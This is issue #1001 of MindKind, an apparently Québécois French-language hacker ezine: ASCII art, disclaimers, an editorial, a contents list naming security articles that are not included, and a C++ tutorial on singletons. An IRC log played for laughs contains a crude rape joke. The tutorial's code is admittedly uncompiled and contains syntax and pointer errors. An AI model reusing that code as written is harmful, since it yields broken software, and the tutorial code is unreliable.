                                                                 .--- -- --.
                                .--- ---.                       /   __      \
                               /        |   MinDKinD #1001      |  |  |     
 =============================/         |=======================|   \_|      |================
 ----------------------------,          ;-----------------------\            |----------------
                            /           |                        '------.    |
                           /    ____    |                               |    |
 -------------------------,    /----|   |--------------------------- ---|    |----------------
 ===================== ==|    .=====|	.===============================|    |================
  ___________   .-----.  |    |     |   |   			        |    |
 '     \/    '--'     '--     ;     |   ' .--------------.              '----'
 |       /\                   |	    |   ' '----- -- -----'             
 |    ___\/_________  _ ____ _|     |   |
 |   |                              |   | .--- - --------. .------.    .-------. .-- - - ---.
 ;   |                              :   ; |              | |       \   |       | |           \
 |   |                              |   . |              ' |        '  |       ; |            \  
 |   |                              .   | '              . ;         \_|       . |      __     .
 |   |                              |   | ;              | :                   | |     |   \   |
     |     ___             _ __	    ;   | |              | |                   | |     |    .  |
 '   |    |   \           /    |    |   | |              | |                   | |     |    |  |
     |    |    \         /     |    |   ; .              ; .                   | |     |    |  |
 |   ;    |     \_______/      |        . |              | |                   ; ;     |    :  |
 '   |    |                    |    |   | '              | ,                   . |     |    '  |
 .            .            .   	    |   | :              ; |        _          | |     |__ /   |
 :   '----'   |\          /|   '----'	; |              | |       | \         : |             ,
 |            :	'--- ----' ;            | |              ; |       |  \        | |            /
              |	           |            | |              | |       |   \       | |           /
 '-- ----- ---'            '-- ----- ---' '--------------' '-------'    '------' '----------'


 .--------- ------.        .-------- ---. .--------------. .-------.    .------. .----------.
 |                |       /            /  |              | |        \   |      | |           \
 |     /\         |      .            /   |              . |         '  |      | |            \
 |   .-\ \----.   ;     /   .----.   /    |              | ;          \_|      | |      __     .
 ;   |  \/    |   |    /   /    /   /     ;              . |                   | |     |   \   |
 .   :        .   .   /   /    /   /      .              | |                   . '     |    .  |
 |   .         \   \_/   /    .   ;       |              | '                   | '     |    |  :
 |   |          '       /    /   /        |              | :                   ; ;     |    |  |
 |   |           \___ _/    ;   /         .              | |                   | .     |    |  |
 ;   |                     /   ,          ;              . |                   . |     |    :  |
     |                    /   /           .              | |        _          : :     |    '  |
 |   |                   /   /            |              ' .       | \         | |     |__ /   .
 |   |                   \   '            .              ; |       |  \        | |            /
 |   |                    ;   \           |              | |       |   \       | |           /
 |   |                     \   ;          '--------------' '--- ---'    '---- -' '----------'
 |   |                      \   \          
 |   |                       .   \        .--------------.
 .   .                        \   \       '--------------' 
 |   |                         \   .
 |   :          ________        \   \      Le Ezine des lemuriens pour des lemuriens par des
 |   ;         /   __   \        '   \     lemuriens comme des lemuriens pendant les lemurs        
 |   |        /   /  \   \        \   .    de lemurland. oui oui !!
 |   '-------'   ;    '   '---- ---'   \    
 |                     \                \
 '------- -------'      '------ ---------'
                  


 
                                        M I N D K I N D  1 0 0 1 
                                       - - - - - - - --- --- - -



	Deviner qui est en retard cette annee ?



	on a passer lhivers a chier des articles de paques qui finalement sont fucking retard
pcq nee prematurement de l'union d'une cigone fertiliser par un gang bang de papa feuille de
chou. 


	Comme on est rendu corporate et quon a 3 sous disclaim reserver a chaque groupe on 
va faire le main disclaim relativement concis:









  



                                   bonne lecture

















---------------------------------------------------------------------------------------------


|\/| | |\| |> |< | |\| |>
  
   
	Toute reproduction de ce text ou de votre genome est probablement regis par des  lois
dont on a pas idee et on va pas non plus faire leffort pour le savoir. Alors  si  votre  mere
vous  a  pas  eduquer,  ce  n'est  pas  notre  probleme.   Et  si  vous  persistez dans votre 
malveillance on en a rien a foutre on est Canadien.


	Jaimerais  profiter  de l'editorial  de  se  9eme numero pour faire un appelle a tous 
contre la monter en puissance des loi anti liberter  dans  le  domaine de linformatique, dans 
beaucoup de pays civiliser ;], dont entre autre et principalement la france. Jinvite tout les 
francais  frustrer  et  baillonner  a  profiter  de  la  liberter  de  presse canadienne pour 
s'exprimer via Mindkind. vive la resistance !!!


	On tien aussi a dire  qu'on  manifeste  silencieusement notre degout face a cette loi
horible et repugnante !


						on vous temoigne tout notre support avec  une
                                                vive relativiter.

						envoyer  toute  remarque  pseudo pertinante a
						mk@mindkind.org 
						
		
								    votre entertainer favoris
										    mr pipi !




  
 ---------------------------------------------------------------------------------------------

  
     __  __           __  _____
    / / / /___ ______/ /_|__  /   _____  _____
   / /_/ / __ `/ ___/ //_//_ < | / / _ \/ ___/
  / __  / /_/ / /__/ ,< ___/ / |/ /  __/ /
 /_/ /_/\__,_/\___/_/|_/____/|___/\___/_/     - (c)Hack3ver - All rights reversed.

 #hackever sur irc.worldnet.net

 
Tout le contenu de ce site est là pour information, distraction, et  pour  rendre  compte  des 
dangers d'un systeme mal configuré.

L'équipe  de Hackever et son hébergeur  ne  sont  en  aucun  cas  responsables  des  actes  ou
agissements  quel qu'en soient la sorte,  qui  pourraient  survenir  après  la  lecture de ses 
articles, de son forum ou de son chan irc.

Le  Code Pénal Français  Réprime  les intrusions et le maintient dans un systeme informatique.

Hackever vous invite donc à prendre connaissance des lois francaises et de les respecter avent
de rentrer sur ce site.

Si vous ne comprenez pas, n'êtes pas d'accord avec ce qui est  écrit   ci-dessus  et  que  vos 
intentions sont d'enfreindre ces règles, ne lisez pas nos articles,   notre forum, et ne venez
pas sur notre chan irc.



 ---------------------------------------------------------------------------------------------
 
 

         _.-+.        ____   __ __  ____    ___   _____  ____     ___   ____  __  _ 
    _.-""     '.     |    \ |  T  T|    \  /   \ |     ||    \   /  _] /    T|  l/ ]
+:""            '.   |  o  )|  |  ||  D  )Y     Y|   __j|  D  ) /  [_ Y  o  ||  ' / 
| \               '. |   _/ |  ~  ||    / |  O  ||  l_  |    / Y    _]|     ||    \
|  \            _.-+ |  |   l___, ||    \ |     ||   _] |    \ |   [_ |  _  ||     Y
|  '.       _.-"   | |  |   |     !|  .  Yl     !|  T   |  .  Y|     T|  |  ||  .  |
J    \  _.-"       L l__j   l____/ l__j\_j \___/ l__j   l__j\_jl_2005_|__j__jl__j\_j
L     +"           J                                               Now more Stylized
 +    |            |  Www.Pyrofreak.Org                               
  \   |          .+   Www.Pyrofreak.Tk
   \  |       .-'                                                     
    \ |    .-'        
     \| .-'           
      +                 
 


                                                 
                                                 
        /---------------------------------\            
        |            DISCLAMER            |           
        \---------------------------------/           
                                                 
        Pyrofreak.Org tient à vous informer que vous n'avez point le droit  de  reproduire  le 
        texte qui suit et cela inclus les enfants de 12ans et moins jusqu'au plus vieux!

        De plus, Pyrofreak.Org ne peut être tenue  responsable  de  quelconque  utilisation du 
        texte que vous allez lire. Si vous n'êtes pas asser  intelligent  pour  comprendre  le 
        tout... tant pis pour vous ne passerpas go, ne réclamez pas 200$ et aller en prison ou 
        en court.

        Sur ce, bonne lecture!                                          




 ---------------------------------------------------------------------------------------------





      ___ __________________ _ _____________________________________________________________
     | 					                                                    |
     |    _____________________________________________________ _ __ _ __ _ __ __ _______   |
     |___| 										 |  |
                                                                                         |  |
                                                                                         :  |
                        <B3T4> vous aver po de zine compler les mec ou un truc qui       |  |
                        regroupe tous                                                    .  .
		        <B3T4> un truc global                                            '  :
 			<phawnky> comme truc global                                      :  |
                        <phawnky> y'a le rechaufement                                    |  |
         		<B3T4> ben un truc qui englobe la base du hack juska les niveaux |  :
          		tres o comme la programation dun RNA une ia                     /   '
 	  		<B3T4> un reseaux de nerone artificielle                       /   / B
	 		                                                              /   / U   
  	  		heu non desoler on a pas ca en stock un reseau de neurone    /   , P   
                        artificielle... mais at least on a ca :                     /   /    
										   /   / O       
           ____ _ _ _ _______________________________ ______ _ _ _________________/   . F         
           \						                             / N       
            \__ _________________________ _ _ _ __________ __  __ __ _ ____ _ _  _ _/ I
 											


      ___ __________________ _ _____________________________________________________________
     | 					                                                    |
     |    _____________________________________________________ _ __ _ __ _ __ __ _______   |
     |___| 										 |  |
                                          Topic                                          |  |
                                                                                         :  |
                                                                                         |  |
            [-]001|-- Le patrimoine Lemurien                     Qwzykx     .ca          |  |
            [-]002|-- Da Singletons   		                 Gonzo      .au          |  |
            [-]003|-- STM communication                          aprizm     .ca          |  |
            [-]004|-- BIO_SSL                                    Hackever   .fr          |  |
            [-]005|-- Inteligent Windows Shellcode               IvanLeFou  .fr          |  |
            [-]006|-- SDEL - Secure Delete                       Ninja      .ca          |  |
            [-]007|-- Le filtrage des flux web                   Indalo     .fr          |  |
            [-]008|-- fake hotmail                               Wyzeman    .ca          |  |
            [-]009|-- La révolution est inévitable               Smash3r    .ca          |  |
            [-]010|-- Ack Storm                                  IvanLeFou  .fr          |  |
            [-]011|-- Smartcard                                  Mindkind   .ca         /   '
 	    [-]012|-- Ezine maker                                Wyzeman    .ca        /   / 
	    [-]013|-- La Piqure du Poulet                        IvanLeFou  .fr       /   /    
  	    [-]014|-- bell canada black handbook                 Fireblood  .ca      /   , c   
            [-]015|-- les bienfaits dla marche                   C3l3br4l   .fr     /   / i   
                                                                                   /   / p       
           ____ _ _ _ _______________________________ ______ _ _ _________________/   . o         
           \						                             / T       
            \__ _________________________ _ _ _ __________ __  __ __ _ ____ _ _  _ _/ 




	Certain  d'entre  vous  etais  au  courant,  dautre  l'apprendront dans les prochaines 
xlignes.  Mais  Mindkind  a subit une rebellion interne et un changement de pouvoir entre les 2 
derniers ezine, voici ce que nous avons recuperer de la boite noir :


      ___ __________________ _ _____________________________________________________________
     | 					                                                    |
     |    _____________________________________________________ _ __ _ __ _ __ __ _______   |
     |___| 										 |  |
                        <wyzeman> anarchie rebelion                                      |  |
                        <c4-> ? 							 :  |
                        <wyzeman> jmanifeste mon mecontentement                          |  |
                        <aprizm> c mieux detre ecris aprizm pas azprim                   .  .
		        <aprizm> :P       				                 '  :
 			<aprizm> on ta a  loeil                                          :  |
                        <wyzeman> sinon on brule le ezine vivant                         |  |
         		<wyzeman> on viole les femmes  		                         |  :
          		<wyzeman> on fait des graffitis sur les murs                    /   '
 	  		<wyzeman> pi jinvite vn ici		                       /   / B
	 		<aprizm> pis binf deviens le chef                             /   / U   
  	  		<wyzeman> pi on engage youpie comme mascotte                 /   , P   
                        <aprizm> pis on fais rentrer mr.net dans le crew            /   /    
										   /   / O       
           ____ _ _ _ _______________________________ ______ _ _ _________________/   . F         
           \						                             / N       
            \__ _________________________ _ _ _ __________ __  __ __ _ ____ _ _  _ _/ I
 											   
             



     	    .-- -- ---- ----.
     	 ___|  MKD1001\001  |____ _ ___________ _ ___________________________________
     	|   '---------------'                                                        |
     	| 							                     |     
     	|     .---- - ----------------- - ---------------------------------- - --.   .
     	'-----'                              	                                 '---'
                                                                             
                                     Le Patrimoine Lemurien
	  
                                               AKA

                                 The hidden history of our world






                                      o/                    o        o/                      /                   __,,,,,..-         
       O     o      o                 w)        o/          a}-      w)    /  /             __,,,,,..---''''`````\                                                                         
       |     a}-    a}-       o       L     O   w)          L        L       ,,----''''\````           \     ___________        
     /\|     L      L         a}-           |   L     o               _,.-'``        ____              __,-``.      .   ```     
    /oo|\.       o/           L    o      /\|         w)        / --``          ----'__  ```.``````````       \      \          
   0\./| /b    ._k)/\   || o       w)    /oo|\.    /  L \      ,-`         ,.-`` /|.|  |,|\  \       \                          
      \|/     `| L /`   ++/w       L \  0\./| /b             .`      ,,-'``      ||  __  ||          (()                        
  o    0       `W W     || L               \|/        /   ,-`      ,'     .      |. |  | ,|    o   ()))  o    o    o    o       
  a}-                 o ++      o           0    o/     .'     __,/ +      \   + | `'  '` |  -{a  (()) -{a  -{a  -{a  -{a       
  L             o     w\||      a}-   o/         w)  _-`    ,,'     |\         |\|   /\   |.---k-(())----k----k----k----k--     
        o       a}-   L ++      L     w)         L ,'     -`       /\ \       /\ \   ||   |      ()                             
        a}-     L       ||            L        / .`      /   .    /""\ \     /""\ \  ||   |      /|--------.                    
  o     L                            /        ,'`     ,-`     \  /____\/|   /____\/| \/  ..   ,__||        |\_______________    
  a}-             o/     o/    /            .`     ,-` \         |/--\|/| O.|/--\|/|''-'`    /|  ||        | \                  
  L       o       w)   ._k)/\            ,-`    _,'              ||  || |{A ||  || |        / | /|         | /;    .-----.      
          w)      L   `| L /`     /\   .`     -` .          __   ||  || | K ||  || |     ,'`  |/===========/` |  /`     / \     
          L \          `W W      |\ \-`   ,.\`    \     /|.|  |,|||  || |O  ||  || |''-'`     ||  _     _  |[]| /______/./|     
o/              o/          .    | \/|  ,`              ||  __  |||  ||/|A.-||  ||/|------;   || [ ]   [o] |[]|_|      |[]|_    
a)     o/     ._k)/\       |x   ,| |/| ,/\              |. |  | ,|\--/| |'  |\--/| | ..-``|   || [_].,.[_] |  / |[] .,.|[]|     
L      w)    `| L /`     o/|    \| `\\`|\ \       .     | `'  '` |    |/    |    |/``     |  ()_    | |    | /  |[] | || ./     
       L      `W W     ._k)/\.    `. \\| \/|       \    |   /\   |    |-----|    |     .. |_||| |_ _|'|____|/   |___|`||/       
                      `| L /` \     ',`| |/|  /\       _|   ||   |.--,| ,-, |.--,|    |//.//\|| |__                       o     
    o/          /\     `W W           \  `\\ |\ \  O .' |   ||   ||//|||_|_|||//|| .. |//|/oo||\ oo|\    o   |\\          c     
    w)         |\ \        .       .   `.  \\| \/-{A'   |   ||   ||//||| | |||//|||//||| |\ /||\\ o| |   c   |||--------. k     
    L   /      | \/|        \       \    ', `|O|,' K   ,|   \/   ||//|| `''`||//|||//||| | `\___/b | |--.k   |||        |       
              ,| | |  /\                   '-{A`     .'.|        ||//||  .  ||//|||//|||  \ |   |  / |  /  ,` |        / \      
            .' \ `\\ |\ \        __       O,/ K    ,,-` |        ||//|| -+- ||//|||//|||  `\|   |/'  | /| /___________/___\     
 /       _-`    \  '\| \/|   /|.|  |,|\ -{A      -.`    |   /\   |`--'|  |  |`--'||//||| /-\ ,____   |/,| |          |  _  |    
       ,'      .`|   | | | /\||  __  ||-` K   ._L`      |   ||   |    |  |  |    ||//||| ()| |    |  |  `'.,[]    [] | /_\ |    
     .`       /  |  _  `\\ |\|. |  | ,|    _-.' |       |   ||   | __ |.---.| __ ||//; |-{A| |    |  |      `'-,, [] | | | |    
  ,'`      ,-`\  | / `,  \`| | `'  '` |  ,_,'   |       |   ||   |I  I|I   I|I  I||.-  |\\-/ |    |_/   ()   $    `'-;,|`| |    
-`    .,-'\      ||    \  `| |   /\   |`,'      |\]     |   \/   |I  I|I  /I|I  I|   _/``',__|====|__   $/  $$$   ()   ``'`     
    -`            \     |   '|   ||   -`      [/|/]     |.      ,|I ;I|I / I|I ;I| ./|     `;\0--0/;    K\ $$$$$  \$    ()      
 ,-`       .            | O-`|   ||   |       [\|    _-`  `''-'` |I__I|I/ /I|I__I|/  | (Q   ;  \/  ;              /K    \6      
/     __    \   .       -{A  |   |()))|         |  ,- \o    \o             o    o   /  \W   ;`-..-`;_,,,...--...,,,_    /9                           
  /|.|  |,|\     \   O-`  K  |   \(() |         |.' /\(M_.  (M \o ()))   -{a  -{a   /  /Z ____||.|____              ``'-,,                           
  ||  __  ||       -{A   O   |    ()__|__      -`\o `\ k |   k (M (()      k  o k  |      |    |.$&  |            ./\.    `'.,                       
  |. |  | ,|    O,'  K -{A  .|   ()/    .\  _-`/\(M_. W W` \o   k ()_____   -{a   /    _-`| /| |. |\ |            \,Te',                             
  | `'  '` |  -{A   O    K.` |  |\\   ,/  \-   `\ k |   \o (M    ()/ K  .\    k  /   .'   | || |. || |              ',Le',            
  |   /\   |O`  K -{A   .`   |/`|||  /     \ \o  W W`   (M  k   |\\C  ,'  \     / _-`     | ||=le=|| |      ,.,       ',Sc`.          
  |   ||   |A  O    K .`    /   |||/`  R ./|\(M_.    \o  k    ./|||  -   H \ ./` /        |/ / /\ \ \| _,-``,) \       /|\Op.         
  |   ||   |K-{A    .`(()) /---/|||  A ./  |\ k | \o (M     ./ B|||-`  T ./|'  ,'           / /  \ \.-` ,-'`, ).|     / |\`.E\             
  |   ||   |   K  .`  (() |\_  | | B ./  /]| W W` (M  k   ./---.|||  I ./ /  ,'            /_| .-'``,- ,- `-'`  |    /  |\\__/             
  |   \/   |    -`   (() /`` \ |   ./   [ ]|    \o k      |`\  | | M ./ .`  /  ..,.            |\-' '`,-'`   O  |   /   | \                
 /|        |    |    (),`   / \| ./  /] [']'    (M   ()_  |  \ | S ./_./  .`  (    `.          | |\-'`  W / T   |.                         
/ |`.     .|    |   |\\   .` K \/ /][o] [./  \o  k _||| | |[\ \|,./'`    .' ((()  @ |  ______  |||||   O     _-` _\                        
  |  `''-'`     | ./||| ,` N ./| [ ][/ ./    (M  .//\|| |__-----   .    /  (((() ,__;  |B   |  || ||  H   _-` _-` |                        
  | O         ,'./  |||` A .//]| [/  ./ o     k /|/oo||\ oo|\ ()  ; .|  'WW  (() _/    | I  |  |||||   _-` _-`    |                        
  -{A       ,-./---/|||B ./ [ ]|   ./   a}-    | |\ /||\\ o| |S/  b i| / | \  _| |.__  |4 L |  ||||| /` _-`       |                        
  | K    O |  |`\  | | ./ /][/ |_./     k o    | | `\___/b | |T\ |"""||   \ \/  \/   \/| 2 L|  | | | |\`          |                        
  |    -{A |  |[\`\| .//][ ]   |          a}-  |  \ |   |  / |       /     \__  |. !\./`----'  | ||| ||       I/  |                        
  | O    K |  |[$\ |//|$][,] ./     o     k    |  `\|   |/'  |       |        \=wz=/           ||||| ||       I\  |                        
  -{A      |  | \$]|[$|/ [ ./       c          | /-\         | ()   /         | /\ \         . ||| | || I\/I      |                        
  | K    O | ,/\ \]|[/   ./ -, o    k          | ()|         | 6/   |         | ) \ \_       |\||  | || I  I      |                     
  |    -{A ||   `\ |   ./ .`  `f\       o      |-{A|         | 9\   |         |_\  \__\      | `'\|| ||           |                     
  |      K ||     \|_./ .`\,   k m      c      | \-/         |     /                         |    `',||           |                     
  | O      |/ .-,     .\    `\    `.    k      |`.,       ,-`      |          ,.--.,         | .,    \|        ., |                     
  -{A      | |   |  .`-------------,`.         |  '`''-''`         |        ,`\  `; `.       | | '.         ,-` | |                     
  | K    O | | F |/`/   100% Bio   |\ `.     o |   `.  ()   .      |       /   ./; ,/ \      | |   `.    .-`    | |                     
  |    -{A | ;-, | /              ,; '  ' () C | /\  , M/  / \  () |      |   , /  |//-|     | |    |   |       | |                     
  | O    K ||   ||/  Harvest with / /|\ / || k | ||  \ A\ /x |/ \M |   .__;____;____;__;__.  | |    |   |       | |                     
  -{A      || F |/      love      |/ |/`/\||   | ||   |   |\./| /A |   |  _____ G  _____  | /__|    |   |       | |                     
  | K    O || A /=================| /| /# ||\  | ||    \    |      |   | / \ | |L |  ;/ \ |         |   |       |__\                 
  |    -{A || R | _______________ |//|0\ /||\\ | \/    |           |   | |  ; ;|O | ,-  | |         |   |                            
  | O    K || M | _//_________//_ |/ |  `\|| /b|       |    ___    |\  | |   ``|B |`    | |        / \ / \                           
  -{A      ||   |     _______     |  |    \|/  |       |()  |C|  ()| | | |     |E |     | |         \ ` /                            
  | K    O ||   |    [   |   ]    |  ;     0   | /\    |H/__/P\__\H| \/__]     /__\     [__\         \ /                             
  |    -{A ||   |    [  .|.  ]    | /          | ||    ;A\|__U__|/A|  |                                                              
  |      K ||___|____[___|___]____I/           | ||   /            |   \                                                             
                                                                                                                      
                                                                                                                                               
     



     	.-----.           		         	       		         .---.
     	|     '----- - ------ - ------- - ------------------------------------- -'   |
     	|									     |
     	|______ _ ________________________________.--------------------.______ _ ____| 
       	                                          |      by Qwzykx     |
           			                  '--------------------'








     	    .-- -- ---- ----.
     	 ___|  MKD1001\002  |____ _ ___________ _ ___________________________________
     	|   '---------------'                                                        |
     	| 							                     |     
     	|     .---- - ----------------- - ---------------------------------- - --.   .
     	'-----'                              	                                 '---'
                                                                             
                                          Da Singletons
	  
                                               AKA

                                   Global Variables ... evil?

   


Foreword: avant de commencer, j’aimerais préciser que la qualité d’écriture de cette   article
est complément merdique et je m’en excuse. C’est la première chose que   j’écrit  en  français
depuis les 5 dernières années mais anyway, je me suis efforcer de spellchecker avec  Word   et
peu être la faire passer a une couple de personne avant de la publier.

  
Itou, le code écrit ici na jamais été compiler, je l’ai écrit from the top of my head sans  me
soucier des syntax errors (c’est juste du code d’exemple anyway, c’est pas supposer marcher ou 
faire rien d’utile. Baser vous dessus). Si vous voulez des exemples qui  marchent,  downloader 
9th Life sur le SVN de Mindkind-Coding si ça existe encore  (ou il doit   avoir  des links sur
http://www.ogre3d.org  ou http://sourceforge.net/projects/ninthlife/ ),     c’est   plein   de 
singleton la dedans.


Lets get started

Ok ici je vais vous conter une petite histoire sur les variables global  ou   anyway   quelque
chose du genre.

Background required: C++ basic classes/inheritance, static function,  reference, some   coding 
ability.

A qui cette article est fait pour: du monde qui code en C++ ?  ça m’étonnerais que  les  h4x0r
d00dz aie de quoi d’intéressant a lire ici.

Bon un singleton c’est quoi? De ce que je me suis fait dire, c’était la façon en   java   pour
faire des variables globaux.

Bon la je voie tout les ptit programmeur crier se que leur prof leur a dit back   in  collège. 
« Global variables are evil !! evil !!!! Si jamais vous en utiliser une… vous  ne méritez  pas
de jamais écrire de code pour personne me si c’est du IRC scripting ou du VB… Evil!!!!”

En vrai ce n’est pas si « evil » que ça si on les utilise comme du monde. Apparemment,   c’est
même plus rapide et ça vous enlève la misère de mettre 56 arguments à vos function pour  avoir
accès a des variables qui sont seulement disponible plus bas dans votre programme. La   raison 
pourquoi c’est evil, c’est parce que on pourrais tout mettre global et se  perde    complément
vue    que     tout     vos    variables    sont  dans    le    même scope et vous allez avoir 
« x1,x2,x3,x4,y1,y2,y3,y4 »  et ça ne finira plus. Les singletons  vous    apprennent un peu a 
faire de l’ordre dans vos variables globaux.

De mon bord, j’ai appris les singletons en faisant du gamedev ou  on    finit   toujours   par
développer cinquante-six mille systems et tout vire en shit parce qu’il  y a   32    différent 
types de character et 32 types d’item et plein de data qui a besoin d’être accéder    un   peu 
partout.  So, un singleton acte comme 2 choses. Un manager et un accès global au  data   qu’il
manage.

Je vais commencer par vous montrer un peu comment on fait un singleton.  Au  cours  du  temps, 
j’ai vue différente façon de les faire et ici, je vais vous montrer celle  que  j’utilise.  Ma 
technique consiste d’avoir une function static d’une class qui retourne   un  référence  a  la
class. (wtf !?!?!). Ok  sa  sonne   peut-être  comme    quelque  chose  qui  sort  d’un  livre
d’instruction de chez IKEA mais dans le fond, ce n’est pas très compliquer.

Une function static d’une class. C’est quoi ca fait?

CODE Time!!!!

class ObjectCloseAuditAlarm
{
public:
  Object();   // constructor
  ~Object();  //destructor

  static void FunctionStatic();
  void FunctionPasStatic();
private:
  int	  m_meber1;
  char  m_member2
};

Bon voila une petite class qui ne fait rien mais qui a une function static
et une function pas static.

D’habitude vous devez créer une instance de la class pour utiliser leur
functions.

void main()
{
  Object unObject;
  unObject.FunctionPasStatic();
}

Bon, on s’entend jusque la? Good.

La function static n’a pas besoin d’instance.

void main()
{
  Object::FunctionStatic();
}

Et le contenu de la function va se faire exécuter. So dans le fond, c’est
une function « global ».

Maintenant un exemple de singleton.

class Singleton
{
public:
  //GENERAL
  ~Singleton();	//destructor
  static Singleton &Instance();

  //ACCESSOR
  int  GetMember1() const { return m_member1; }
  char GetMember2() const { return m_member2; }
  //MANIPULATOR
  void SetMember1(int member1)  { m_member1 = member1; }
  void SetMember2(char member2) { m_member2 = member2; }

private:
  int	 m_meber1;
  char m_member2;

  Singleton();    // constructor
};

Singleton &Singleton::Instance()
{
  static Singleton instance;
  return instance;
}


Bon qu’es-ce qu’on a ici. Une class avec un constructeur… private ?!?!?  Oui, ce n’est pas une
erreur. Mais je vais expliquer pour quoi plus tard.  Dans notre cas, on pourrait   avoir    un 
constructeur public et tout   fonctionnerait mais j’ai mis mon constructeur priver juste parce
que, c’est la façon que je le fait. La partie intéressante, c’est la function static Instance.
Comme vous voyez, elle est static et retourne une référence a  ça    propre   class. Dans   la
définition de la function, on créer une instance static de notre  class     et  la   retourne.
(Instance static parce que si la function a déjà été appelé, on ne veut pas re-créer l’object)

L’idée est que Instance() va créer l’object si elle n’est pas créer et nous donner un instance
a la class.

So en code.

void main()
{
  Singleton::Instance().SetMember1(10);
  Singleton::Instance().SetMember2('a');

  std::cout << "member1: " << Singleton::Instance().GetMember1()
            << " member2: " << Singleton::Instance().GetMember2()
            << std::endl;
}


Et voila. On a modifier member 1 et member 2 sans  même avoir a créer un instance de la  class 
(ou anyway, on a rien vue de ça) et oui, believe it or not, vous pouvez accéder  ces   members
la n’importe ou dans votre programme ou vous faite #include le header file (.h)   qui contient
la class déclaration du singleton.


Maintenant un exemple real life. Imaginer vous que vous créer une jeux de combat. Il va  avoir 
18 characters avec des propriétés similaires mais dans le fond. C’est juste des characters. Il
marche, il saute, il meurt. So  vous aller créer une base Character class et des class dériver 
pour chaque character. Les characters vont   bien   sure   « interacter »  entre  eux  pendant
l’exécution du jeux a différent endroits dans le program. Dans ce cas,   nous allons créer une 
« CharacterManager »  qui va se charger de tout nos characters. De cette façon,  nous   allons
être capable accéder n’importe quel character a n’importe   quelle  endroit  dans  le    jeux.
(Je vais essayer de garder les détails aussi minime que possible  pour  ne  pas  vous   mêler.
N’essayer pas de comprendre ce que les functions de la character class font. Se sont juste des
functions et ça pourrais    être  n’importe  quoi.  Pré  occuper  vous  plus  sur  se  que  le
CharacterManager va faire avec les class)

//character base class
class Character
{
public:
  //GENERAL
  Character();              //constructor
  virtual ~Character();	    //destructor
  virtual void Init();	    //init everything
  virtual void Terminate(); //clean up
  virtual void Logic();     //called every frame in the main Game loop

  void Walk();
  void Jump();
  virtual void Attack();
  virtual void SpecialMove()=0;

  //ACCESSOR
  int GetWalkingSpeed() const { return m_walkingSpeed; }
  int GetHealth()       const { return m_health; }
  int GetAttackPower()  const { return m_attackPower; }
  const std::string &GetName() const { return m_name; }

	//MANIPULATOR
  void SetWalkingSpeed(int walkingSpeed) { m_walkingSpeed = walkingSpeed; }
  void SetHealth(int health) { m_health = health; }
  void SetAttackPower(int attackPower)  { m_attackPower = attackPower; }
  void SetName(const std::string &name) { m_name = name; }

protected:
  int m_health;       //health of our character
  int	m_walkingSpeed; //the speed that the character is walking
  int	m_attackPower;  //how strong the character is
  std::string m_name; //the name of the character
};

Here’s the base character class that basically setup the basic properties
of a character (again, we’re staying in the basic) but it is sort of what
you would expect.

class CharacterNinja public Charactcer
{
public:
  CharacterNinja();
  ~CharacterNinja();
  void Init();      //init everything
  void Terminate(); //clean up
  void Logic();     //called every frame in the main Game loop

  void Attack();
  void SpecialMove();

private:
  SpecialProperties m_specialProperties;
};

class CharacterKarateKid public Charactcer
{
public:
  CharacterKarateKid();
  ~CharacterKarateKid();

  void Attack();
  void SpecialMove();

private:
  SpecialProperties m_specialProperties;
};


Then 2 derive class that shows what you would do with your character class

enum CharacterIndex
{
  CHARACTER_NINJA     = 0,
  CHARACTER_KARATEKID = 1,
};

Ceci est juste une enum qui est une bonne practice pour indexer nos
élément. Ou vous pouvez toujours utiliser une map et les mapper a une
string. (Up to you)

class CharacterManager
{
public:
  //GENERAL
  ~CharacterManager();
  static CharacterManager &Instance();

  void Initialise();
  void Terminate();
  void Logic();

  //ACCESSOR
  Character *GetCharacter(int index) const { return m_characterList[index]; }

private:
  std::vector<Character*> m_characterList;

  CharacterManager();
};


CharacterManager::CharacterManager()
{
  m_characterList.push_back(new CharacterNinja());
  m_characterList.push_back(new CharacterKarateKid());
}

CharacterManager::~CharacterManager()
{
  for (int i=0; i<(int)m_characterList.size(); i++)
    delete m_characterList[i];
}


void CharacterManager::Initialise()
{
  for (int i=0; i<(int)m_characterList.size(); i++)
     m_characterList[i].Init();
}

void CharacterManager::Terminate()
{
   for (int i=0; i<(int)m_characterList.size(); i++)
     m_characterList[i].Terminate();
}

void CharacterManager::Logic()
{
   for (int i=0; i<(int)m_characterList.size(); i++)
     m_characterList[i].Logic();
}


Bon voila la partie importante. Ca démontre comment le manager va  manager les   characters de 
façon élégante. Il va se charger seulement de la base  class    et  s’assurer   que  tout  les 
characters sont traité de façon égale. Maintenant je vais  vous donner un exemple de se que ça 
a l’air dans du code.


void main()
{

  CharacterManager::Instance().Initialise();

  //main game loop
  while (gameNotOver)
  {
     //logic
     CharacterManager::Instance().Logic();

     //input
     if (PlayerInput1Walk)
     {
   CharacterManager::Instance().GetCharacter(CHARACTER_KARATEKID)->Walk();
     }
     if (PlayerInput2Walk)
     {
      CharacterManager::Instance().GetCharacter(CHARACTER_NINJA)->Walk();
     }
  }

  CharacterManager::Instance().Terminate();

}

Ceci est un exemple très simplifier mais ça devrais vous donner une petite  idée de comment ça
marche. Et ça rend le code assez clean quand on a une 20e de system du  genre.   SpellManager,
ItemManager, MonsterManager, etc.



private constructor

Bon si vous vous rappeler, j’avais mentionner que j’allais revenir au   constructeur   priver. 
Pourquoi ? bien un singleton est fait pour en avoir juste 1 (single).   Vous ne   voulez   pas
donner la possibilité au user de créer 50 instance. Sinon vous allez vous ramasser avec 5 fois 
le même manager se qui veux dire 50 fois  les   character   dupliquer. So c’est    une  simple 
technique pour empêcher ça de se produire. Bien sure on peu toujours faire des copy mais si on
peu bloquer 60% des attente, c’est déjà mieux que rien.


Conclusion

Bon aucune idée si cet article a fait du sens pour vous. J’ai p-e mal expliquer   le   concept 
mais en bout de ligne, utiliser des singletons comme object factory ou object manager  est une
façon très élégante de gérer c’est object. En même temps, on peu s’assurer que n’importe  quel
object qui est créer va être deleter a la fin du programme se qui élimine les memmory leaks.



											

     	.-----.           		         	       		         .---.
     	|     '----- - ------ - ------- - ------------------------------------- -'   |
     	|									     |
     	|______ _ ________________________________.--------------------.______ _ ____| 
       	                                          |      by Gonzo      |
           			                  '--------------------'



                                            

                        
 						     
      ___ __________________ _ _____________________________________________________________
     | 					                                                    |
     |    _____________________________________________________ _ __ _ __ _ __ __ _______   |
     |___| 										 |  |
                                       Le webring Mindkind 				 .  '
        									         |  |
                          Mindkind         http://www.mindkind.org                       :  |
                          Hackever         http://hackever.n0ne.org                      |  |
       			  Pyrofreak        http://www.pyrofreak.tk                       |  |
